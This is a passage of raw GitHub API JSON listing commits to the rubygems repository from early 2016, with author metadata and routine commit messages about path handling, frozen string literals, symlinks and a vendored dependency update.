users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0581a3e91c87e900b9c566308ceee4bd2842b280","url":"https://api.github.com/repos/rubygems/rubygems/commits/0581a3e91c87e900b9c566308ceee4bd2842b280","html_url":"https://github.com/rubygems/rubygems/commit/0581a3e91c87e900b9c566308ceee4bd2842b280"}]},{"sha":"0581a3e91c87e900b9c566308ceee4bd2842b280","node_id":"MDY6Q29tbWl0NjE0MDcwOjA1ODFhM2U5MWM4N2U5MDBiOWM1NjYzMDhjZWVlNGJkMjg0MmIyODA=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-01T04:19:56Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-02T17:24:56Z"},"message":"[PathSupport] Handle a regexp path separator","tree":{"sha":"d2d0475ed11e889fa90a056243693009e5c0c74d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d2d0475ed11e889fa90a056243693009e5c0c74d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0581a3e91c87e900b9c566308ceee4bd2842b280","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0581a3e91c87e900b9c566308ceee4bd2842b280","html_url":"https://github.com/rubygems/rubygems/commit/0581a3e91c87e900b9c566308ceee4bd2842b280","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0581a3e91c87e900b9c566308ceee4bd2842b280/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4d12dba4e948962b6827f9cb2d1a2101e2c0aa27","url":"https://api.github.com/repos/rubygems/rubygems/commits/4d12dba4e948962b6827f9cb2d1a2101e2c0aa27","html_url":"https://github.com/rubygems/rubygems/commit/4d12dba4e948962b6827f9cb2d1a2101e2c0aa27"}]},{"sha":"4d12dba4e948962b6827f9cb2d1a2101e2c0aa27","node_id":"MDY6Q29tbWl0NjE0MDcwOjRkMTJkYmE0ZTk0ODk2MmI2ODI3ZjljYjJkMWEyMTAxZTJjMGFhMjc=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-02T00:44:54Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-02-02T00:44:54Z"},"message":"Merge pull request #1471 from hsbt/fix-coding-location\n\nMove `coding` location to first line","tree":{"sha":"6956077da03f19e673c84acc6498e54fd734fdbe","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6956077da03f19e673c84acc6498e54fd734fdbe"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4d12dba4e948962b6827f9cb2d1a2101e2c0aa27","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4d12dba4e948962b6827f9cb2d1a2101e2c0aa27","html_url":"https://github.com/rubygems/rubygems/commit/4d12dba4e948962b6827f9cb2d1a2101e2c0aa27","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4d12dba4e948962b6827f9cb2d1a2101e2c0aa27/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"a8aa3bac723f045c52471c7b9328310a048561e0","url":"https://api.github.com/repos/rubygems/rubygems/commits/a8aa3bac723f045c52471c7b9328310a048561e0","html_url":"https://github.com/rubygems/rubygems/commit/a8aa3bac723f045c52471c7b9328310a048561e0"},{"sha":"7c6044e31da4589cff3a166512da9682a0b78ce7","url":"https://api.github.com/repos/rubygems/rubygems/commits/7c6044e31da4589cff3a166512da9682a0b78ce7","html_url":"https://github.com/rubygems/rubygems/commit/7c6044e31da4589cff3a166512da9682a0b78ce7"}]},{"sha":"9d78c0c3b83060605542c3fdddc3a1ec091db856","node_id":"MDY6Q29tbWl0NjE0MDcwOjlkNzhjMGMzYjgzMDYwNjA1NTQyYzNmZGRkYzNhMWVjMDkxZGI4NTY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-31T21:57:36Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-31T21:57:36Z"},"message":"Merge pull request #1408 from segiddins/seg-support-frozen-string-literals\n\nSupport running with frozen string literals","tree":{"sha":"5104aa07f21621e8a2a56afdda966e9781b2bf31","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5104aa07f21621e8a2a56afdda966e9781b2bf31"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9d78c0c3b83060605542c3fdddc3a1ec091db856","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9d78c0c3b83060605542c3fdddc3a1ec091db856","html_url":"https://github.com/rubygems/rubygems/commit/9d78c0c3b83060605542c3fdddc3a1ec091db856","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9d78c0c3b83060605542c3fdddc3a1ec091db856/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"5b2762b6fe2cb80e6e33c1409bf51e99b9ffae76","url":"https://api.github.com/repos/rubygems/rubygems/commits/5b2762b6fe2cb80e6e33c1409bf51e99b9ffae76","html_url":"https://github.com/rubygems/rubygems/commit/5b2762b6fe2cb80e6e33c1409bf51e99b9ffae76"},{"sha":"45966be372d85520630143090b82b455d287cec6","url":"https://api.github.com/repos/rubygems/rubygems/commits/45966be372d85520630143090b82b455d287cec6","html_url":"https://github.com/rubygems/rubygems/commit/45966be372d85520630143090b82b455d287cec6"}]},{"sha":"45966be372d85520630143090b82b455d287cec6","node_id":"MDY6Q29tbWl0NjE0MDcwOjQ1OTY2YmUzNzJkODU1MjA2MzAxNDMwOTBiODJiNDU1ZDI4N2NlYzY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-09T22:46:31Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-31T00:45:16Z"},"message":"Support running with frozen string literals","tree":{"sha":"fa4ffd601e702bc99f84c3a59c72d1a86639d383","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fa4ffd601e702bc99f84c3a59c72d1a86639d383"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/45966be372d85520630143090b82b455d287cec6","comment_count":2,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/45966be372d85520630143090b82b455d287cec6","html_url":"https://github.com/rubygems/rubygems/commit/45966be372d85520630143090b82b455d287cec6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/45966be372d85520630143090b82b455d287cec6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"20e09cf990463983c6eafc8e58ddb5a6c14db6ea","url":"https://api.github.com/repos/rubygems/rubygems/commits/20e09cf990463983c6eafc8e58ddb5a6c14db6ea","html_url":"https://github.com/rubygems/rubygems/commit/20e09cf990463983c6eafc8e58ddb5a6c14db6ea"}]},{"sha":"1e2b07a0b3d07ea6685c14e30e6ea6c443b28986","node_id":"MDY6Q29tbWl0NjE0MDcwOjFlMmIwN2EwYjNkMDdlYTY2ODVjMTRlMzBlNmVhNmM0NDNiMjg5ODY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-27T13:48:36Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-27T13:48:36Z"},"message":"Merge pull request #1462 from nobu/bug/test_require-garbage\n\nremove temporary library directory","tree":{"sha":"7e49883edb710518eccbce55577f102abb63e179","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7e49883edb710518eccbce55577f102abb63e179"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1e2b07a0b3d07ea6685c14e30e6ea6c443b28986","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1e2b07a0b3d07ea6685c14e30e6ea6c443b28986","html_url":"https://github.com/rubygems/rubygems/commit/1e2b07a0b3d07ea6685c14e30e6ea6c443b28986","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1e2b07a0b3d07ea6685c14e30e6ea6c443b28986/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"9757cf1c3cbfbef9af6542126cf6bb1837cf2b67","url":"https://api.github.com/repos/rubygems/rubygems/commits/9757cf1c3cbfbef9af6542126cf6bb1837cf2b67","html_url":"https://github.com/rubygems/rubygems/commit/9757cf1c3cbfbef9af6542126cf6bb1837cf2b67"},{"sha":"156ac478856190aef13efb952d76eada7c6b5f01","url":"https://api.github.com/repos/rubygems/rubygems/commits/156ac478856190aef13efb952d76eada7c6b5f01","html_url":"https://github.com/rubygems/rubygems/commit/156ac478856190aef13efb952d76eada7c6b5f01"}]},{"sha":"14b1eec7bd0f9fca5cedeae781fbef6f36dc466a","node_id":"MDY6Q29tbWl0NjE0MDcwOjE0YjFlZWM3YmQwZjlmY2E1Y2VkZWFlNzgxZmJlZjZmMzZkYzQ2NmE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-24T04:04:06Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-24T04:04:06Z"},"message":"[Package] Fix symlinks to ..","tree":{"sha":"67924f3a1279a507736996cfb3e802c1293ac7b1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/67924f3a1279a507736996cfb3e802c1293ac7b1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/14b1eec7bd0f9fca5cedeae781fbef6f36dc466a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/14b1eec7bd0f9fca5cedeae781fbef6f36dc466a","html_url":"https://github.com/rubygems/rubygems/commit/14b1eec7bd0f9fca5cedeae781fbef6f36dc466a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/14b1eec7bd0f9fca5cedeae781fbef6f36dc466a/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d9eddf9de90b91fa6132ce7095ce3ab597f24d84","url":"https://api.github.com/repos/rubygems/rubygems/commits/d9eddf9de90b91fa6132ce7095ce3ab597f24d84","html_url":"https://github.com/rubygems/rubygems/commit/d9eddf9de90b91fa6132ce7095ce3ab597f24d84"}]},{"sha":"d9eddf9de90b91fa6132ce7095ce3ab597f24d84","node_id":"MDY6Q29tbWl0NjE0MDcwOmQ5ZWRkZjlkZTkwYjkxZmE2MTMyY2U3MDk1Y2UzYWI1OTdmMjRkODQ=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-24T03:38:29Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-24T03:38:29Z"},"message":"Merge pull request #1454 from sblackstone/make_dot_gemspec_optional\n\nAllow the user to omit .gemspec when doing gem build","tree":{"sha":"33dddd3c61d1eecc39f691f02f2f1c087a78b673","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/33dddd3c61d1eecc39f691f02f2f1c087a78b673"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d9eddf9de90b91fa6132ce7095ce3ab597f24d84","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d9eddf9de90b91fa6132ce7095ce3ab597f24d84","html_url":"https://github.com/rubygems/rubygems/commit/d9eddf9de90b91fa6132ce7095ce3ab597f24d84","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d9eddf9de90b91fa6132ce7095ce3ab597f24d84/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"102230953b693c77683ded2da2e0480aff845465","url":"https://api.github.com/repos/rubygems/rubygems/commits/102230953b693c77683ded2da2e0480aff845465","html_url":"https://github.com/rubygems/rubygems/commit/102230953b693c77683ded2da2e0480aff845465"},{"sha":"ec171c87219f8cc597245d809d2a6459b46e4e0d","url":"https://api.github.com/repos/rubygems/rubygems/commits/ec171c87219f8cc597245d809d2a6459b46e4e0d","html_url":"https://github.com/rubygems/rubygems/commit/ec171c87219f8cc597245d809d2a6459b46e4e0d"}]},{"sha":"50e06eaed340fe4f8ec28a950295a671e0b6b7ab","node_id":"MDY6Q29tbWl0NjE0MDcwOjUwZTA2ZWFlZDM0MGZlNGY4ZWMyOGE5NTAyOTVhNjcxZTBiNmI3YWI=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-14T01:27:52Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-14T01:27:52Z"},"message":"Merge pull request #1452 from segiddins/seg-molinillo-0.4.1\n\nUpdate vendored Molinillo to 0.4.1","tree":{"sha":"c0ba281b35c50f6fd97a9fcca4e9007274ae2659","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c0ba281b35c50f6fd97a9fcca4e9007274ae2659"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/50e06eaed340fe4f8ec28a950295a671e0b6b7ab","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/50e06eaed340fe4f8ec28a950295a671e0b6b7ab","html_url":"https://github.com/rubygems/rubygems/commit/50e06eaed340fe4f8ec28a950295a671e0b6b7ab","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/50e06eaed340fe4f8ec28a950295a671e0b6b7ab/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f8b062eeb547615b446105e6dc78723a97575b2c","url":"https://api.github.com/repos/rubygems/rubygems/commits/f8b062eeb547615b446105e6dc78723a97575b2c","html_url":"https://github.com/rubygems/rubygems/commit/f8b062eeb547615b446105e6dc78723a97575b2c"},{"sha":"5bc6a1609022d879ad79055d8507bfbc348f7d6f","url":"https://api.github.com/repos/rubygems/rubygems/commits/5bc6a1609022d879ad79055d8507bfbc348f7d6f","html_url":"https://github.com/rubygems/rubygems/commit/5bc6a1609022d879ad79055d8507bfbc348f7d6f"}]},{"sha":"5bc6a1609022d879ad79055d8507bfbc348f7d6f","node_id":"MDY6Q29tbWl0NjE0MDcwOjViYzZhMTYwOTAyMmQ4NzlhZDc5MDU1ZDg1MDdiZmJjMzQ4ZjdkNmY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-14T01:18:14Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-14T01:18:14Z"},"message":"Update vendored Molinillo to 0.4.1","tree":{"sha":"c0ba281b35c50f6fd97a9fcca4e9007274ae2659","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c0ba281b35c50f6fd97a9fcca4e9007274ae2659"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5bc6a1609022d879ad79055d8507bfbc348f7d6f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5bc6a1609022d879ad79055d8507bfbc348f7d6f","html_url":"https://github.com/rubygems/rubygems/commit/5bc6a1609022d879ad79055d8507bfbc348f7d6f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5bc6a1609022d879ad79055d8507bfbc348f7d6f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f8b062eeb547615b446105e6dc78723a97575b2c","url":"https://api.github.com/repos/rubygems/rubygems/commits/f8b062eeb547615b446105e6dc78723a97575b2c","html_url":"https://github.com/rubygems/rubygems/commit/f8b062eeb547615b446105e6dc78723a97575b2c"}]},{"sha":"360e9852886aa4ee515b9c8a5086ae4441736db6","node_id":"MDY6Q29tbWl0NjE0MDcwOjM2MGU5ODUyODg2YWE0ZWU1MTViOWM4YTUwODZhZTQ0NDE3MzZkYjY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T22:56:07Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T22:56:07Z"},"message":"Add environment 